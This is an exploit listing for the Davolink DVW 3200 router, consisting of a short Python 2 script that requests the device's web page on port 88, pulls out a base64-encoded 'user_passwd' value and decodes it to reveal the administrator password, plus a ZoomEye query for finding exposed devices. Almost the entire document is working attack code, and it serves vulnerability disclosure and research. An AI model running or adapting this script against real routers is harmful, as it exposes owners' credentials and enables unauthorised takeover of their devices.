Davolink DVW 3200 Router - Password Disclosure

# Exploit Title: Davolink DVW 3200 Router - Password Disclosure
# Google Dork: N/A
# Zoomeye dork : https://www.zoomeye.org/searchResult?q=%22var%20user_passwd%22%20%2Bapp%3A%22DAVOLINK%20GAPD-7000%20WAP%20httpd%22 
# Date: 2018-07-13
# Exploit Author: Ankit Anubhav
# Vendor Homepage: www.davolink.co.kr
# Software Link: N/A
# Version: DVW 3200
# Tested on: Python 2.7 Windows 10
# CVE : N/A

# Many Davolink Davolink DV 3200 devices credentials can be disclosed using the following script.
# Author : Ankit Anubhav (ankitanubhav.com)  of NewSky Security ( https://www.newskysecurity.com/ )

# Usage script.py 1.3.3.7 where 1.3.3.7 is the Davolink DV 3200 IP.
# Use responsibly only for research and testing purposes.
# Tested with python 2.7

import sys
import urllib2
import re
import base64

def davolink_credfinder(ip):
        try:
		req = urllib2.Request('http://' + ip + ':' + '88', headers={ 'User-Agent': 'Mozilla/5.0' })
		connection_check = str(urllib2.urlopen(req).getcode())

		if (connection_check == "200"):
			html = urllib2.urlopen(req).read()
			str_html = str(html)
			m=re.compile('var user\_passwd\=\"(.*?)\"').search(str_html)
			encoded_pwd =str(m.group(1))
			actual_pwd = base64.b64decode(encoded_pwd)
			print "**************************************************************************************************"
			print "The password for the Davolink device is " + actual_pwd
			print "**************************************************************************************************"
	        else:
			print "Connection to port 88 was not successful. Cant find credentials,sorry." 
	except:
		print "There was an error in connecting to the IP." 

davolink_credfinder(sys.argv[1])